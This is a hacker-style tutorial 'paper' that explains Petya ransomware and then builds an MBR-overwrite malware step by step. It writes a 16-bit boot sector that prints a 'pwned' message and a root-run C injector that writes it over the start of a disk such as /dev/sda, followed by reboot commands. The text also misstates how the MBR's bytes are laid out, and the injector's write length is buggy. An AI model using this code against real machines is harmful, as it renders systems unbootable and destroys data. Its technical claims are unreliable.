Author: @br0sck
:::!~!!!!!:. .xUHWH!! !!?M88WHX:. .X*#M@$!! !X!M$$$$$$WWx:. :!!!!!!?H! :!$!$$$$$$$$$$8X: !!~ ~:~!! :~!$!#$$$$$$$$$$8X: :!~::!H!< ~.U$X!?R$$$$$$$$MM! ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM! !:~~~ .:!M"T#$$$$WX??#MRRMMM! ~?WuxiW*` `"#$$$$8!!!!??!!! :X- M$$$$ `"T#$T~!8$WUXU~ :%` ~#$$$m: ~!~ ?$$$$$$ :!`.- ~T$$$$8xx. .xWW- ~""##*" ..... -~~:<` ! ~?T#$$@@W@*?$$ /` W$@@M!!! .!~~ !! .:XUW$W!~ `"~: : #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!` :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ - This boot sector has been pwned! .~~ :X@!.-~ ?@WTWo("*$$$W$TH$! ` Wi.~!X$?!-~ : ?$$$B$Wu("**$RM! $R@i.~~ ! : ~$$$$$B$$en:`` ?MXT@Wx.~ : ~"##*$$$$M~ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓ ░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓ ░░▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Summary░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░1. Petya Ransomware░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░2. What is a boot sector░░░░░░░░░░░░░▒▒▓▓▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░3. Coding a simple bootloader░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▓▓▒▒░░░░░░░░░░░4. Coding an MBR Overwrite malware░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░ ░5. Execution and Demonstration░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░██░░░░██████░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░████████░░░░██████████░░░░░░████████░░████░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░██████░░████████░░████░░░░████████████░░██░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░██████░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓ ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ In this paper, I will demonstrate an attack on the boot sector, known as the Master Boot Record (MBR). The attack consists of overwriting the boot sector with a malicious one, called MBR Overwrite. This can prevent the system from booting. You will learn how to develop simple 16-bit Assembly scripts using BIOS interrupts and a bit of C. This paper is written for educational purposes and for curious minds like mine. Let's start with a famous malware that gained prominence in 2016 and 2017: Petya Ransomware. ╔═════════════════════════╗ ║ Petya Ransomware ║ ╚═════════════════════════╝ Petya is a family of encryption malware first discovered in 2016. It targets Microsoft Windows-based systems. Its goal is to infect the MBR with malicious code that prevents the system from booting, locking the startup. The unlocking is done through a key given to the victim after paying the ransom. ╔════════════════════════════╗ ║ What is a boot sector ║ ╚════════════════════════════╝ As mentioned earlier, the boot sector, known as the MBR, is the first sector to be used, and the motherboard is responsible for this initialization. The MBR occupies the first 446 bytes of the boot section, and the boot code occupies the remaining 64 bytes. The address 0x7C00 is the memory address where the boot code is loaded when the computer is turned on. This is done by the processor reading the MBR from the hard disk and loading the boot code into RAM. The boot code, in turn, is responsible for loading the operating system into the rest of the RAM. ╔═════════════════════════════════╗ ║ Coding a simple bootloader ║ ╚═════════════════════════════════╝ To start writing the code, we need to define a few things: first, the address 0x7C00, which is the address of the boot sector, and then the bit mode, which in this case is 16. Code: ╔═════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ╚═════════════════════════════════╝ To advance to the last lines, we will fill the boot code with empty bytes up to 512 bytes and sign it with a magic number. We will sign it using the x86 little-endian value, known as 0xAA55. Code: ╔══════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚══════════════════════════════════════════════╝ The line with the `times` function is responsible for filling up to 510 bytes in the binary that will be compiled, while `dw` will sign it with the 0xAA55 value. Now we will write a function to print each letter of a defined byte, known as DB. For this, we will move the address 0x0E into the AH register, which is a high accumulator register. Afterwards, in the next line, the character you would like to print is moved into the low accumulator register, called AL. The next line will invoke the BIOS interrupt, known as 0x10, using INT. Code: ╔══════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ mov ah, 0x0E ║ ║ mov al, 'X' ║ ║ int 0x10 ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚══════════════════════════════════════════════╝ Let's compile the code to test if it is working correctly. $ nasm -f bin bootloader.asm -o bootloader.bin $ qemu-system-x86_64 bootloader.bin ╔═════════════════════════════════════════════════════════════════════════════╗ ║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║ ║ ║ ║ ║ ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║ ║ ║ ║ ║ ║ ║ ║ Booting from Hard Disk... ║ ║ X ║ ╚═════════════════════════════════════════════════════════════════════════════╝ We can see that it is working correctly. Now we can create a function to print all the characters of a variable. I will use the same code I used in my article about printing strings in 16-bit Assembly. I will not explain in detail how the function works in this paper, but here is the link for those curious: https://medium.com/@mrempy/assembly-16-bits-printing-strings-a114c72f6e43 Code: ╔═══════════════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ Jmp Main ║ ║ ║ ║ Main: ║ ║ mov si, pwnedmessage ║ ║ call Print ║ ║ jmp $ ║ ║ ║ ║ Print: ║ ║ mov ah, 0x0E ║ ║ mov al, [si] ║ ║ loop: ║ ║ int 0x10 ║ ║ inc si ║ ║ mov al, [si] ║ ║ cmp al, 0 ║ ║ jne loop ║ ║ ret ║ ║ ret ║ ║ ║ ║ ║ ║ pwnedmessage db "This boot sector has been pwned!" ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚═══════════════════════════════════════════════════════╝ The code for the boot sector is ready; we can compile and test it. $ nasm -f bin bootloader.asm -o bootloader.bin $ qemu-system-x86_64 bootloader.bin ╔═════════════════════════════════════════════════════════════════════════════╗ ║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║ ║ ║ ║ ║ ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║ ║ ║ ║ ║ ║ ║ ║ Booting from Hard Disk... ║ ║ This boot sector has been pwned! ║ ╚═════════════════════════════════════════════════════════════════════════════╝ ╔════════════════════════════════════╗ ║ Coding an MBR Overwrite malware ║ ╚════════════════════════════════════╝ Now we need to develop malware to overwrite the MBR with the malicious code we have, so we need to define the script headers. Code: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <stdio.h> ║ ║ #include <stdlib.h> ║ ║ #include <unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ To add the malicious boot sector code, we can use CyberChef to transform the binary into Hex and add it into an unsigned char variable. CyberChef: https://cyberchef.org/#recipe=To_Hex('%5C%5Cx',0) Code: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <stdio.h> ║ ║ #include <stdlib.h> ║ ║ #include <unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Now we need to write code to open the disk’s file system to write the bytes to it, and then define the starting point of the write to avoid accidentally “wiping” the disk and adding the payload. Code: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <stdio.h> ║ ║ #include <stdlib.h> ║ ║ #include <unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║ ║ FILE* harddisk; ║ ║ ║ ║ if (geteuid() != 0) { ║ ║ puts("You need to run as root user"); ║ ║ return 1; ║ ║ } ║ ║ harddisk = fopen(argv[1], "wb"); ║ ║ fseek(harddisk, 0, SEEK_SET); ║ ║ fwrite(payload, sizeof(payload), 1, harddisk); ║ ║ fclose(harddisk); ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ You need to know the path of your disk, for example /dev/sda. All done! Now just compile and execute it in a virtualized environment to avoid damaging the machine. $ gcc injector.c -o injector.elf ╔═══════════════════════════╗ ║ Execution and Demo ║ ╚═══════════════════════════╝ After uploading and compiling the code in a virtual environment, run the binary as root and restart the machine. $ sudo ./injector.elf $ reboot After restarting the machine, you will receive a message similar to: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ This boot sector has been pwned! ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Check out an example GIF demonstrating the injection and reboot of the machine: https://github.com/Brosck/MBROverwrite/blob/main/assets/demo.gif _--_ / -) ___/___|___ ____-----=~~///| ||||~~~==-----_____ //~////////////~/| |//|||||\\\\\\\\\\\\\ ////////////////////| |///////|\\\\\\\\\\\\\\\ /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\ //~ /\\|\\ ~\\ ///W^\W\ ////|||\\\ ~~~~~~~~~~ Amolo Thanks for reading my paper, see you next time ;)